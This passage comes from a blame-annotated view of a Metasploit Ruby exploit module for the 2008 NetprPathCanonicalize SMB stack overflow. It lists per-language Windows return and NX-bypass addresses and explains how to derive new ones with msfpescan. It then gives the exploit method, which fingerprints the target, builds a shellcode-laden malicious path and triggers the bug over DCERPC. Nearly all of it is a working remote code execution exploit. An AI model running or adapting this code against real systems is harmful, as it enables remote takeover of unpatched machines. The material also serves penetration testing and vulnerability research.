], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
2008-10-31 05:55:57 +00:00
|
|
|
|
2008-11-06 06:08:45 +00:00
|
|
|
# Metasploit's NX bypass for XP SP2/SP3
|
2008-11-04 22:27:59 +00:00
|
|
|
[ 'Windows XP SP3 Japanese (NX)',
|
2008-10-31 05:55:57 +00:00
|
|
|
{
|
2008-11-04 22:27:59 +00:00
|
|
|
'Ret' => 0x567fd4d2,
|
|
|
|
'DisableNX' => 0x568017c2,
|
2008-11-06 14:56:06 +00:00
|
|
|
'Scratch' => 0x00020408
|
2008-10-31 05:55:57 +00:00
|
|
|
}
|
2008-11-06 06:08:45 +00:00
|
|
|
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
2008-11-04 22:27:59 +00:00
|
|
|
|
2008-11-06 06:08:45 +00:00
|
|
|
# Metasploit's NX bypass for XP SP2/SP3
|
|
|
|
[ 'Windows XP SP3 Korean (NX)',
|
2008-10-31 05:16:02 +00:00
|
|
|
{
|
2008-11-06 06:08:45 +00:00
|
|
|
'Ret' => 0x6fd6f807,
|
|
|
|
'DisableNX' => 0x6fd717c2,
|
2008-11-06 14:56:06 +00:00
|
|
|
'Scratch' => 0x00020408
|
2008-11-04 22:27:59 +00:00
|
|
|
}
|
2008-11-06 06:08:45 +00:00
|
|
|
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
2008-11-04 22:27:59 +00:00
|
|
|
|
2008-11-06 06:08:45 +00:00
|
|
|
# Metasploit's NX bypass for XP SP2/SP3
|
|
|
|
[ 'Windows XP SP3 Dutch (NX)',
|
2008-11-04 22:27:59 +00:00
|
|
|
{
|
2008-11-06 06:08:45 +00:00
|
|
|
'Ret' => 0x596cf807,
|
|
|
|
'DisableNX' => 0x596d17c2,
|
2008-11-06 14:56:06 +00:00
|
|
|
'Scratch' => 0x00020408
|
2008-11-04 22:27:59 +00:00
|
|
|
}
|
2008-11-06 06:08:45 +00:00
|
|
|
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
2008-11-04 22:27:59 +00:00
|
|
|
|
2008-11-06 06:08:45 +00:00
|
|
|
# Metasploit's NX bypass for XP SP2/SP3
|
|
|
|
[ 'Windows XP SP3 Norwegian (NX)',
|
2008-11-04 22:27:59 +00:00
|
|
|
{
|
2008-11-06 06:08:45 +00:00
|
|
|
'Ret' => 0x597cf807,
|
|
|
|
'DisableNX' => 0x597d17c2,
|
2008-11-06 14:56:06 +00:00
|
|
|
'Scratch' => 0x00020408
|
2008-11-04 22:27:59 +00:00
|
|
|
}
|
2008-11-06 06:08:45 +00:00
|
|
|
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
2008-11-04 22:27:59 +00:00
|
|
|
|
2008-11-06 06:08:45 +00:00
|
|
|
# Metasploit's NX bypass for XP SP2/SP3
|
|
|
|
[ 'Windows XP SP3 Polish (NX)',
|
2008-11-04 22:27:59 +00:00
|
|
|
{
|
2008-11-06 06:08:45 +00:00
|
|
|
'Ret' => 0x5941f807,
|
|
|
|
'DisableNX' => 0x594217c2,
|
2008-11-06 14:56:06 +00:00
|
|
|
'Scratch' => 0x00020408
|
2008-11-04 22:27:59 +00:00
|
|
|
}
|
2008-11-06 06:08:45 +00:00
|
|
|
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
2008-11-04 22:27:59 +00:00
|
|
|
|
2008-11-06 06:08:45 +00:00
|
|
|
# Metasploit's NX bypass for XP SP2/SP3
|
|
|
|
[ 'Windows XP SP3 Portuguese - Brazilian (NX)',
|
2008-11-04 22:27:59 +00:00
|
|
|
{
|
2008-11-06 06:08:45 +00:00
|
|
|
'Ret' => 0x596ff807,
|
|
|
|
'DisableNX' => 0x597017c2,
|
2008-11-06 14:56:06 +00:00
|
|
|
'Scratch' => 0x00020408
|
2008-11-04 22:27:59 +00:00
|
|
|
}
|
2008-11-06 06:08:45 +00:00
|
|
|
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
2008-11-04 22:27:59 +00:00
|
|
|
|
2008-11-06 06:08:45 +00:00
|
|
|
# Metasploit's NX bypass for XP SP2/SP3
|
|
|
|
[ 'Windows XP SP3 Portuguese (NX)',
|
2008-11-04 22:27:59 +00:00
|
|
|
{
|
2008-11-06 06:08:45 +00:00
|
|
|
'Ret' => 0x596bf807,
|
|
|
|
'DisableNX' => 0x596c17c2,
|
2008-11-06 14:56:06 +00:00
|
|
|
'Scratch' => 0x00020408
|
2008-11-04 22:27:59 +00:00
|
|
|
}
|
2008-11-06 06:08:45 +00:00
|
|
|
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
|
|
|
|
|
|
|
# Metasploit's NX bypass for XP SP2/SP3
|
|
|
|
[ 'Windows XP SP3 Russian (NX)',
|
2008-11-04 22:27:59 +00:00
|
|
|
{
|
2008-11-06 06:08:45 +00:00
|
|
|
'Ret' => 0x6fe1f807,
|
|
|
|
'DisableNX' => 0x6fe217c2,
|
2008-11-06 14:56:06 +00:00
|
|
|
'Scratch' => 0x00020408
|
2008-11-04 22:27:59 +00:00
|
|
|
}
|
2008-11-06 06:08:45 +00:00
|
|
|
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
2008-11-04 22:27:59 +00:00
|
|
|
|
|
|
|
# Metasploit's NX bypass for XP SP2/SP3
|
2008-11-06 06:08:45 +00:00
|
|
|
[ 'Windows XP SP3 Swedish (NX)',
|
2008-11-04 22:27:59 +00:00
|
|
|
{
|
2008-11-06 06:08:45 +00:00
|
|
|
'Ret' => 0x597af807,
|
|
|
|
'DisableNX' => 0x597b17c2,
|
2008-11-06 14:56:06 +00:00
|
|
|
'Scratch' => 0x00020408
|
2008-11-04 22:27:59 +00:00
|
|
|
}
|
2008-11-06 06:08:45 +00:00
|
|
|
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
2008-11-04 22:27:59 +00:00
|
|
|
|
2008-11-06 06:08:45 +00:00
|
|
|
# Metasploit's NX bypass for XP SP2/SP3
|
|
|
|
[ 'Windows XP SP3 Turkish (NX)',
|
2008-11-04 22:27:59 +00:00
|
|
|
{
|
2008-11-06 06:08:45 +00:00
|
|
|
'Ret' => 0x5a78f807,
|
|
|
|
'DisableNX' => 0x5a7917c2,
|
2008-11-06 14:56:06 +00:00
|
|
|
'Scratch' => 0x00020408
|
2008-10-31 05:16:02 +00:00
|
|
|
}
|
2008-11-06 06:08:45 +00:00
|
|
|
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
|
|
|
|
|
|
|
|
2008-11-04 22:27:59 +00:00
|
|
|
|
2008-10-28 07:35:17 +00:00
|
|
|
#
|
|
|
|
# Missing Targets
|
|
|
|
# Key: T=TODO ?=UNKNOWN U=UNRELIABLE
|
|
|
|
#
|
|
|
|
# [?] Windows Vista SP0 - Not tested yet
|
|
|
|
# [?] Windows Vista SP1 - Not tested yet
|
|
|
|
#
|
|
|
|
],
|
|
|
|
|
|
|
|
'DisclosureDate' => 'Oct 28 2008'))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('SMBPIPE', [ true, "The pipe name to use (BROWSER, SRVSVC)", 'BROWSER']),
|
|
|
|
], self.class)
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
=begin
|
|
|
|
|
|
|
|
|
|
|
|
*** WINDOWS XP SP2/SP3 TARGETS ***
|
|
|
|
|
|
|
|
|
2008-10-31 05:16:02 +00:00
|
|
|
This exploit bypasses NX/NX by returning to a function call inside acgenral.dll that disables NX
|
2008-10-28 07:35:17 +00:00
|
|
|
for the process and then returns back to a call ESI instruction. These addresses are different
|
|
|
|
between operating systems, service packs, and language packs, but the steps below can be used to
|
|
|
|
add new targets.
|
|
|
|
|
|
|
|
|
2008-10-31 05:16:02 +00:00
|
|
|
If the target system does not have NX/NX, just place a "call ESI" return into both the Ret and
|
2008-10-28 07:35:17 +00:00
|
|
|
DisableNX elements of the target hash.
|
|
|
|
|
2008-10-31 05:16:02 +00:00
|
|
|
If the target system does have NX/NX, obtain a copy of the acgenral.dll from that system.
|
2008-10-28 07:35:17 +00:00
|
|
|
First obtain the value for the Ret element of the hash with the following command:
|
|
|
|
|
|
|
|
$ msfpescan -j esi acgenral.dll
|
|
|
|
|
|
|
|
Pick whatever address you like, just make sure it does not contain 00 0a 0d 5c 2f or 2e.
|
|
|
|
|
|
|
|
Next, find the location of the function we use to disable NX. Use the following command:
|
|
|
|
|
|
|
|
$ msfpescan -r "\x6A\x04\x8D\x45\x08\x50\x6A\x22\x6A\xFF" acgenral.dll
|
|
|
|
|
|
|
|
This address should be placed into the DisableNX element of the target hash.
|
|
|
|
|
|
|
|
The Scratch element of 0x00020408 should work on all versions of Windows
|
|
|
|
|
|
|
|
The actual function we use to disable NX looks like this:
|
|
|
|
|
|
|
|
push 4
|
|
|
|
lea eax, [ebp+arg_0]
|
|
|
|
push eax
|
|
|
|
push 22h
|
|
|
|
push 0FFFFFFFFh
|
|
|
|
mov [ebp+arg_0], 2
|
|
|
|
call ds:__imp__NtSetInformationProcess@16
|
|
|
|
|
|
|
|
|
2008-10-31 05:16:02 +00:00
|
|
|
*** WINDOWS XP NON-NX TARGETS ***
|
2008-10-28 07:35:17 +00:00
|
|
|
|
|
|
|
|
2008-10-31 05:16:02 +00:00
|
|
|
Instead of bypassing NX, just return directly to a "JMP ESI", which takes us to the short
|
2008-10-31 06:12:49 +00:00
|
|
|
jump, and finally the shellcode.
|
2008-10-28 07:35:17 +00:00
|
|
|
|
|
|
|
|
|
|
|
*** WINDOWS 2003 SP2 TARGETS ***
|
|
|
|
|
|
|
|
|
|
|
|
There are only two possible ways to return to NtSetInformationProcess on Windows 2003 SP2,
|
|
|
|
both of these are inside NTDLL.DLL and use a return method that is not directly compatible
|
2008-10-31 06:12:49 +00:00
|
|
|
with our call stack. To solve this, Brett Moore figured out a multi-step return call chain
|
|
|
|
that eventually leads to the NX bypass function.
|
2008-10-28 07:35:17 +00:00
|
|
|
|
|
|
|
|
|
|
|
*** WINDOWS 2000 TARGETS ***
|
|
|
|
|
|
|
|
|
2008-10-31 05:16:02 +00:00
|
|
|
No NX to bypass, just return directly to a "JMP EDX", which takes us to the short
|
2008-10-31 21:10:45 +00:00
|
|
|
jump, and finally the shellcode.
|
2008-10-28 07:35:17 +00:00
|
|
|
|
|
|
|
|
|
|
|
*** WINDOWS VISTA TARGETS ***
|
|
|
|
|
2008-10-31 05:16:02 +00:00
|
|
|
Currently untested, will involve ASLR and NX, should be fun.
|
2008-10-28 07:35:17 +00:00
|
|
|
|
|
|
|
|
|
|
|
*** NetprPathCanonicalize IDL ***
|
|
|
|
|
|
|
|
|
|
|
|
NET_API_STATUS NetprPathCanonicalize(
|
|
|
|
[in, string, unique] SRVSVC_HANDLE ServerName,
|
|
|
|
[in, string] WCHAR* PathName,
|
|
|
|
[out, size_is(OutbufLen)] unsigned char* Outbuf,
|
|
|
|
[in, range(0,64000)] DWORD OutbufLen,
|
|
|
|
[in, string] WCHAR* Prefix,
|
|
|
|
[in, out] DWORD* PathType,
|
|
|
|
[in] DWORD Flags
|
|
|
|
);
|
|
|
|
|
|
|
|
=end
|
|
|
|
|
2008-11-03 09:17:08 +00:00
|
|
|
def exploit
|
|
|
|
|
2008-11-03 20:37:51 +00:00
|
|
|
connect()
|
|
|
|
smb_login()
|
|
|
|
|
|
|
|
# Use a copy of the target
|
|
|
|
mytarget = target
|
|
|
|
|
|
|
|
|
|
|
|
if(target['auto'])
|
|
|
|
|
|
|
|
mytarget = nil
|
|
|
|
|
|
|
|
print_status("Automatically detecting the target...")
|
|
|
|
fprint = smb_fingerprint()
|
|
|
|
|
|
|
|
print_status("Fingerprint: #{fprint['os']} #{fprint['sp']} - lang:#{fprint['lang']}")
|
|
|
|
|
|
|
|
# Bail early on unknown OS
|
|
|
|
if(fprint['os'] == 'Unknown')
|
|
|
|
print_status("No matching target")
|
|
|
|
disconnect
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
# Service Pack match must be exact
|
|
|
|
if(fprint['sp'].index('+'))
|
|
|
|
print_status("Could not determine the exact service pack")
|
|
|
|
disconnect
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
# Language Pack match must be exact
|
|
|
|
if(fprint['lang'] == 'Unknown')
|
|
|
|
print_status("Could not determine the exact language pack")
|
|
|
|
disconnect
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
# Windows 2000 is mostly universal
|
|
|
|
if(fprint['os'] == 'Windows 2000')
|
|
|
|
mytarget = self.targets[1]
|
|
|
|
end
|
|
|
|
|
|
|
|
# Windows XP SP0/SP1 is mostly universal
|
|
|
|
if(fprint['os'] == 'Windows XP' and fprint['sp'] == "Service Pack 0 / 1")
|
|
|
|
mytarget = self.targets[2]
|
|
|
|
end
|
|
|
|
|
|
|
|
# Normalize the service pack string
|
|
|
|
fprint['sp'].gsub!(/Service Pack\s+/, 'SP')
|
|
|
|
|
|
|
|
if(not mytarget)
|
|
|
|
self.targets.each do |t|
|
|
|
|
if(t.name =~ /#{fprint['os']} #{fprint['sp']} #{fprint['lang']} \(NX\)/)
|
|
|
|
mytarget = t
|
|
|
|
break
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
if(not mytarget)
|
|
|
|
print_status("No matching target")
|
|
|
|
disconnect
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
print_status("Selected Target: #{mytarget.name}")
|
|
|
|
end
|
|
|
|
|
2008-10-28 07:35:17 +00:00
|
|
|
#
|
|
|
|
# Build the malicious path name
|
|
|
|
#
|
|
|
|
|
|
|
|
padder = [*("A".."Z")]
|
|
|
|
pad = "A"
|
|
|
|
while(pad.length < 7)
|
|
|
|
c = padder[rand(padder.length)]
|
|
|
|
next if pad.index(c)
|
|
|
|
pad += c
|
|
|
|
end
|
|
|
|
|
2008-10-30 07:21:53 +00:00
|
|
|
prefix = "\\"
|
2008-10-31 05:16:02 +00:00
|
|
|
path = ""
|
2008-10-28 07:35:17 +00:00
|
|
|
server = Rex::Text.rand_text_alpha(rand(8)+1).upcase
|
|
|
|
|
2008-10-31 05:16:02 +00:00
|
|
|
|
|
|
|
#
|
2008-11-03 20:37:51 +00:00
|
|
|
# Windows 2000, XP (NX), and 2003 (NO NX) mytargets
|
2008-10-31 05:16:02 +00:00
|
|
|
#
|
2008-11-03 20:37:51 +00:00
|
|
|
if(not mytarget['RetDec'])
|
2008-10-28 07:35:17 +00:00
|
|
|
|
2008-10-31 05:16:02 +00:00
|
|
|
jumper = Rex::Text.rand_text_alpha(70).upcase
|
2008-11-03 20:37:51 +00:00
|
|
|
jumper[ 4,4] = [mytarget.ret].pack("V")
|
2008-10-31 06:12:49 +00:00
|
|
|
jumper[50,8] = make_nops(8)
|
2008-10-31 05:16:02 +00:00
|
|
|
jumper[58,2] = "\xeb\x62"
|
2008-10-28 07:35:17 +00:00
|
|
|
|
2008-10-31 05:16:02 +00:00
|
|
|
path =
|
|
|
|
Rex::Text.to_unicode("\\") +
|
2008-10-28 07:35:17 +00:00
|
|
|
|
2008-10-31 05:16:02 +00:00
|
|
|
# This buffer is removed from the front
|
|
|
|
Rex::Text.rand_text_alpha(100) +
|
2008-10-28 07:35:17 +00:00
|
|
|
|
2008-10-31 05:16:02 +00:00
|
|
|
# Shellcode
|
|
|
|
payload.encoded +
|
2008-10-28 07:35:17 +00:00
|
|
|
|
2008-10-31 05:16:02 +00:00
|
|
|
# Relative path to trigger the bug
|
|
|
|
Rex::Text.to_unicode("\\..\\..\\") +
|
2008-10-28 07:35:17 +00:00
|
|
|
|
2008-10-31 05:16:02 +00:00
|
|
|
# Extra padding
|
|
|
|
Rex::Text.to_unicode(pad) +
|
2008-10-28 07:35:17 +00:00
|
|
|
|
2008-10-31 05:16:02 +00:00
|
|
|
# Writable memory location (static)
|
2008-11-03 20:37:51 +00:00
|
|
|
[mytarget['Scratch']].pack("V") + # EBP
|
2008-10-28 07:35:17 +00:00
|
|
|
|
2008-10-31 05:16:02 +00:00
|
|
|
# Return to code which disables NX (or just the return)
|
2008-11-03 20:37:51 +00:00
|
|
|
[ mytarget['DisableNX'] || mytarget.ret ].pack("V") +
|
2008-10-28 07:35:17 +00:00
|
|
|
|
2008-10-31 05:16:02 +00:00
|
|
|
# Padding with embedded jump
|
|
|
|
jumper +
|
2008-10-28 07:35:17 +00:00
|
|
|
|
2008-10-31 05:16:02 +00:00
|
|
|
# NULL termination
|
|
|
|
"\x00" * 2
|
|
|
|
#
|
2008-11-03 20:37:51 +00:00
|
|
|
# Windows 2003 SP2 (NX) mytargets
|
2008-10-31 05:16:02 +00:00
|
|
|
#
|
|
|
|
else
|
|
|
|
|
|
|
|
jumper = Rex::Text.rand_text_alpha(70).upcase
|
2008-11-03 20:37:51 +00:00
|
|
|
jumper[ 0,4] = [mytarget['RetDec']].pack("V")# one more to Align and make room
|
2008-10-31 05:16:02 +00:00
|
|
|
|
2008-11-03 20:37:51 +00:00
|
|
|
jumper[ 4,4] = [mytarget['RetDec']].pack("V") # 4 more for space
|
|
|
|
jumper[ 8,4] = [mytarget['RetDec']].pack("V")
|
|
|
|
jumper[ 12,4] = [mytarget['RetDec']].pack("V")
|
|
|
|
jumper[ 16,4] = [mytarget['RetDec']].pack("V")
|
2008-10-31 05:16:02 +00:00
|
|
|
|
2008-11-03 20:37:51 +00:00
|
|
|
jumper[ 20,4] = [mytarget['RetPop']].pack("V")# pop to EBP
|
|
|
|
jumper[ 24,4] = [mytarget['DisableNX']].pack("V")
|
2008-10-31 05:16:02 +00:00
|
|
|
|
2008-11-03 20:37:51 +00:00
|
|
|
jumper[ 56,4] = [mytarget['JmpESP']].pack("V")
|
|
|
|
jumper[ 60,4] = [mytarget['JmpESP']].pack("V")
|
2008-10-31 05:16:02 +00:00
|
|
|
jumper[ 64,2] = "\xeb\x02" # our jump
|
|
|
|
jumper[ 68,2] = "\xeb\x62" # original
|
|
|
|
|
|
|
|
path =
|
|
|
|
Rex::Text.to_unicode("\\") +
|
|
|
|
|
|
|
|
# This buffer is removed from the front
|
|
|
|
Rex::Text.rand_text_alpha(100) +
|
|
|
|
|
|
|
|
# Shellcode
|
|
|
|
payload.encoded +
|
|
|
|
|
|
|
|
# Relative path to trigger the bug
|
|
|
|
Rex::Text.to_unicode("\\..\\..\\") +
|
|
|
|
|
|
|
|
# Extra padding
|
|
|
|
Rex::Text.to_unicode(pad) +
|
|
|
|
|
|
|
|
# Writable memory location (static)
|
2008-11-03 20:37:51 +00:00
|
|
|
[mytarget['Scratch']].pack("V") + # EBP
|
2008-10-31 05:16:02 +00:00
|
|
|
|
|
|
|
# Return to code which disables NX (or just the return)
|
2008-11-03 20:37:51 +00:00
|
|
|
[mytarget['RetDec']].pack("V") +
|
2008-10-31 05:16:02 +00:00
|
|
|
|
|
|
|
# Padding with embedded jump
|
|
|
|
jumper +
|
|
|
|
|
|
|
|
# NULL termination
|
|
|
|
"\x00" * 2
|
|
|
|
|
|
|
|
end
|
2008-10-28 07:35:17 +00:00
|
|
|
|
|
|
|
handle = dcerpc_handle(
|
|
|
|
'4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0',
|
|
|
|
'ncacn_np', ["\\#{datastore['SMBPIPE']}"]
|
|
|
|
)
|
|
|
|
|
|
|
|
dcerpc_bind(handle)
|
|
|
|
|
|
|
|
stub =
|
|
|
|
NDR.uwstring(server) +
|
|
|
|
NDR.UnicodeConformantVaryingStringPreBuilt(path) +
|
|
|
|
NDR.long(rand(1024)) +
|
2008-10-31 05:16:02 +00:00
|
|
|
NDR.wstring(prefix) +
|
2008-10-28 07:35:17 +00:00
|
|
|
NDR.long(4097) +
|
|
|
|
NDR.long(0)
|
|
|
|
|
|
|
|
begin
|
|
|
|
print_status("Triggering the vulnerability...")
|
2008-10-30 07:21:53 +00:00
|
|
|
dcerpc.call(0x1f, stub)
|
|
|
|
|
2008-10-28 07:35:17 +00:00
|
|
|
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
|
|
|
|
rescue => e
|
|
|
|
if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
|
|
|
|
raise e
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
# Cleanup
|
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|